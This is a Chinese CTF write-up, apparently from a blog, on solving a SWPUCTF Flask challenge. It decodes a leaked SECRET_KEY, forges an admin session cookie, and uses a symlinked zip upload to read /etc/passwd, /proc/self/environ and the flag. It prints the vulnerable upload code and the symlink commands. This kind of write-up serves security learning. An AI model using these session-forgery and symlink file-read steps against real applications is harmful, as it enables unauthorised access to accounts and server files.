• secret_key伪造session来进行越权


    从swpuctf里面的一道ctf题目来讲解secret_key伪造session来进行越权。

    以前没有遇到过这种题目,这次遇到了之后查了一些资料把它做了出来,记录一下知识点。

    参考资料

     http://northity.com/2018/11/12/HCTF-WEB%E9%83%A8%E5%88%86%E9%A2%98%E8%A7%A3/ 
    https://xz.aliyun.com/t/2589
    https://www.anquanke.com/post/id/163974
    https://skysec.top/2018/11/12/2018-HCTF-Web-Writeup/

    首先我们进行登录,这里没有注册按钮,所以我们随意输入账号密码即可以登录。

    我们使用test/test进行登录

    可以看到有一个upload模块,进行点击,返回权限不够的提示。

    可以猜测这里我们是需要管理员的权限才可以进行文件上传

    再查看一下源代码,里面有一个404 not found的提示

    于是我们构造一个不存在的页面,使其服务器返回404页面,burpsuite抓包查看

    可以看到404界面服务器返回了

    swpuctf_csrf_token:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

    这里的base64编码我们进行解密之后得到是:

    SECRET_KEY:keyqqqwwweee!@#$%^&*

    解密之后我们得到了secret_key的值,这里验证了我们最开始的结论,正是要伪造管理员的 session 登录之后拥有upload的权限。

    对于官方wp,这个地方的绕过是用的另一种方式

    我们继续使用刚才的思路进行伪造。

    关于session伪造的相关博客:

     https://www.leavesongs.com/PENETRATION/client-session-security.html  
     https://www.jianshu.com/p/f92311564ad0 
    

    python脚本地址:

    https://github.com/noraj/flask-session-cookie-manager

    这里需要提到的是:我们需要知道服务器后端使用的python版本是2或者是3,因为通过这两个版本进行加密的session解密出来的格式是不一样的。

    这里经过测试我们可知后端的python的版本是3.x的

    接着我们将自己加密后的session和screct_key放进python脚本里面跑出解密后的session

    我们把id改成1,用户名改成admin,其余不变进行session加密

    最终得到admin加密之后的session:

    eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoidGVzdCIsInVzZXJuYW1lIjoiYWRtaW4ifQ.XfERxA.nrEW0S_sf4jtSfnfGmHbFnSv07w

    点击upload使用burpsuite进行抓包,将Session更换成我们伪造的session,权限符合,进入

    upload页面有后端的代码:

    @app.route('/upload',methods=['GET','POST'])
    def upload():
        if session['id'] != b'1':
            return render_template_string(temp)
        if request.method=='POST':
            m = hashlib.md5()
            name = session['password']
            name = name+'qweqweqwe'
            name = name.encode(encoding='utf-8')
            m.update(name)
            md5_one= m.hexdigest()
            n = hashlib.md5()
            ip = request.remote_addr
            ip = ip.encode(encoding='utf-8')
            n.update(ip)
            md5_ip = n.hexdigest()
            f=request.files['file']
            basepath=os.path.dirname(os.path.realpath(__file__))
            path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
            path_base = basepath+'/upload/'+md5_ip+'/'
            filename = f.filename
            pathname = path+filename
            if "zip" != filename.split('.')[-1]:
                return 'zip only allowed'
            if not os.path.exists(path_base):
                try:
                    os.makedirs(path_base)
                except Exception as e:
                    return 'error'
            if not os.path.exists(path):
                try:
                    os.makedirs(path)
                except Exception as e:
                    return 'error'
            if not os.path.exists(pathname):
                try:
                    f.save(pathname)
                except Exception as e:
                    return 'error'
            try:
                cmd = "unzip -n -d "+path+" "+ pathname
                if cmd.find('|') != -1 or cmd.find(';') != -1:
    				waf()
                    return 'error'
                os.system(cmd)
            except Exception as e:
                return 'error'
            unzip_file = zipfile.ZipFile(pathname,'r')
            unzip_filename = unzip_file.namelist()[0]
            if session['is_login'] != True:
                return 'not login'
            try:
                if unzip_filename.find('/') != -1:
                    shutil.rmtree(path_base)
                    os.mkdir(path_base)
                    return 'error'
                image = open(path+unzip_filename, "rb").read()
                resp = make_response(image)
                resp.headers['Content-Type'] = 'image/png'
                return resp
            except Exception as e:
                shutil.rmtree(path_base)
                os.mkdir(path_base)
                return 'error'
        return render_template('upload.html')
    
    
    @app.route('/showflag')
    def showflag():
        if True == False:
            image = open(os.path.join('./flag/flag.jpg'), "rb").read()
            resp = make_response(image)
            resp.headers['Content-Type'] = 'image/png'
            return resp
        else:
            return "can't give you"

    一个是检测来到upload页面的权限,另外一个是flag所在的位置,即./flag/flag.jpg

    所以接下来要做的事情很明确,我们需要将上传的压缩包能够读取服务器端的文件。

    这里使用linux里面的软链接达到这个效果,不过我们需要先填入需要读取文件的路径。

    我们先使用:

     ln -s /etc/passwd test
    zip -y test.zip test

    看看能不能读到东西

    看出来我们可以使用这种方式读取文件,接下来我们可以看一下/proc/self/environ,能读到uwsgi配置文件

    这里跟题目环境不太一样,不懂开发的我确实找不到路径,第二种方法就是在linux中,/proc/self/cwd/会指向进程的当前目录,当我们不知道flask工作目录的时候,我们就使用/proc/self/cwd/flag/flag.jpg来访问flag.jpg

    (因为代码里面已经显示了flag.jpg在当前目录下的/flag/flag.jpg这个位置)

    上传之后即查询到了flag的值

  • 相关阅读:
    .NET Core WEB API使用Swagger生成在线接口文档
    .NET Core WEB API中接口参数的模型绑定的理解
    .Net Core使用视图组件(ViewComponent)封装表单文本框控件
    在有主分支和个人分支情况下的TFS使用方法
    SQL Server Profiler (SQl跟踪器)的简单使用
    C# 多线程下的单例模式
    C# 单例模式
    .net core MVC接受来自自前端的GET和POST请求方法的区别
    《Windows Phone 8 Development Internals》读书笔记-1-2-2-连载
    《Windows Phone 8 Development Internals》读书笔记-1-2-1-连载
  • 原文地址:https://www.cnblogs.com/Cl0ud/p/12176979.html
Copyright © 2020-2023  润新知